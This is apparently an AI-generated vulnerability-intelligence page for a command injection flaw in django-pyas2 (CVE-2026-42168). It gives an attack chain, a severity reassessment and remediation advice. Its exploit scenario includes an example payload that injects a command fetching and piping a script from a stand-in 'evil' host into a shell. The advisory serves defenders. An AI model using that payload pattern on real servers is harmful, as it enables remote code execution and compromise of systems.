django-pyas2 CVE-2026-42168
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain Django admin session
-
DeliveryEdit Partner cmd_receive/cmd_send with shell payload
-
ExploitTrigger or await AS2 message processing
-
Executionos.system() executes injected command
-
ImpactArbitrary code execution on server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Django admin account with the ability to create or edit a Partner record, and the injected string must be placed in the cmd_receive or cmd_send field, which are the post-receive/post-send command hooks passed to os.system() in pyas2/utils.py. The command only fires when an AS2 message is actually sent or received for that Partner, so the attacker either waits for normal AS2 traffic or triggers a message exchange to detonate the payload. Limiting factors: admin-level authentication is mandatory (contradicting the input vector's PR:N), the cmd hook fields must be reachable/editable, and the app must process an AS2 message afterward - so this is a post-authentication, configuration-dependent flaw, not remote unauthenticated exploitation against a default install. |
| Impact | Signals conflict and must be reconciled before prioritizing. The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N, 9.1 Critical) claims no privileges are required, yet the description states an authenticated admin user is needed and the payload lives in a Partner configuration record - so PR:N appears incorrect and PR:H is more defensible, which lowers realistic severity. EPSS is low (0.64%), there is no KEV listing, and no SSVC decision was provided; together these indicate this is not evidence of widespread active exploitation. The mitigating factor is significant: an attacker must already hold Django admin credentials, and an admin can generally reconfigure the app anyway, so the incremental risk is primarily privilege boundary crossing (admin-to-OS/RCE) and post-auth server compromise rather than a wormable internet-facing bug. The third-party research repo suggests exploit details are public, raising the practical risk for internet-exposed admin panels or environments with weak admin-account hygiene. Net: a genuine RCE worth patching, but the true attack profile is authenticated/config-dependent, not the unauthenticated critical the raw score implies - verify the PR metric with the vendor. |
| Exploit ScenarioDerived | An attacker who has obtained or been granted Django admin access opens a Partner record and sets cmd_receive to a value like 'legit_cmd; curl http://evil/x | sh', then waits for or triggers an inbound AS2 message; when django-pyas2 processes it, os.system() executes the injected command on the server. Public analysis of this CVE exists in a third-party research repository, which lowers the effort to craft a working payload. Because the CVSS attack complexity is low, the only real barrier is obtaining the admin session in the first place. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 20, 2026
OS command injection in django-pyas2 through version 1.2.3 lets an authenticated admin plant shell commands in the Partner model's cmd_receive and cmd_send fields, which pyas2/utils.py hands directly to os.system() when an AS2 message is processed. The submitted CVSS vector rates this 9.1 (network, unauthenticated), but the description explicitly requires an authenticated admin user, so real-world exploitability is meaningfully narrower than the headline score. EPSS is low (0.64%, 47th percentile), there is no CISA KEV listing, and a third-party vulnerability-research repository is referenced that appears to document the flaw.
RemediationAI
No vendor-released patch is identified at time of analysis - the referenced v1.2.3 release notes only cover a pyas2lib bump to 1.4.3, field-length and documentation changes, and contain no fix for this command-injection path, and 1.2.3 is the affected version. As compensating controls: restrict and network-segment the Django admin interface (bind it behind VPN/allow-listed IPs and require strong MFA) so the required admin credential is hard to reach, since exploitation depends on write access to the Partner model; treat all Partner cmd_receive/cmd_send values as untrusted and audit existing Partner records for injected shell metacharacters (;, |, &&, $(), backticks); and run the application under a least-privilege OS account inside a container so that any triggered command executes with minimal blast radius rather than as root. If the post-receive/post-send command hooks are not needed, remove or blank these fields to eliminate the sink entirely, accepting the trade-off of losing custom payload post-processing. Monitor the vendor repository at https://github.com/abhishek-ram/django-pyas2 for a patched release and upgrade as soon as one that replaces os.system() with a sanitized subprocess call (no shell) is published.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
django-pyas2 is a Django web application implementing the AS2 (Applicability Statement 2) secure file-transfer protocol used for B2B EDI exchange. Partner objects in the app expose cmd_receive and cmd_send hook fields intended to run post-processing commands on inbound/outbound payloads; the code path in pyas2/utils.py interpolates these operator-supplied strings into os.system() with no escaping or allow-listing. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: because os.system() invokes a shell, metacharacters such as ;, |, $(), and backticks in the stored field are interpreted by /bin/sh, converting a configuration field into arbitrary command execution. The CPE data supplied is a placeholder (cpe:2.3:a:n/a:n/a:*) and does not identify the product, so affected-version scoping rests on the CVE description rather than NVD CPE.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Requires admin write access to the Partner config, so PR:H; network-reachable admin UI with low complexity, and shell command execution yields full C/I/A impact.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
django-pyas2 through 1.2.3 is vulnerable to OS command injection via the cmd_receive and cmd_send fields on the Partner model. These fields are passed directly to os.system() in pyas2/utils.py without sanitization, allowing an authenticated admin user to execute arbitrary commands on the server when an AS2 message is received or sent.
Executive ViewAI
django-pyas2 versions through 1.2.3 contain an authenticated OS command injection vulnerability (CVE-2026-42168, CVSS 9.1) for which publicly available exploit code exists. Admin users can execute arbitrary shell commands during AS2 message processing; organizations using django-pyas2 for EDI/supply chain communications face data exfiltration and system compromise if admin credentials are compromised.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Strictly limit AS2 admin account access to trusted personnel with strong authentication and MFA; (2) Implement operating system command execution monitoring and alerting on all django-pyas2 servers; (3) Restrict AS2 message sources via firewall rules to known, pre-approved trading partners only; (4) Disable cmd_receive and cmd_send field functionality in Partner configuration if not actively required for EDI operations; (5) Run django-pyas2 in an isolated, low-privilege container or VM with minimal network connectivity and system permissions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Affected Products (CPE)CVE.org
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
NVD
CVE.org
EPSS
GitHub
Exploit-DB